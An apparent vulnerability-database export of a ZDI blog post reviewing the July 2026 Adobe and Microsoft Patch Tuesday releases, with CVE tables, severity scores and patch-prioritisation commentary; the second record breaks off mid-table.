Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:56.924843Z"}, {"uuid": "eb1009b8-1e60-4d0b-83ac-3b0ea0b77413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54132", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business 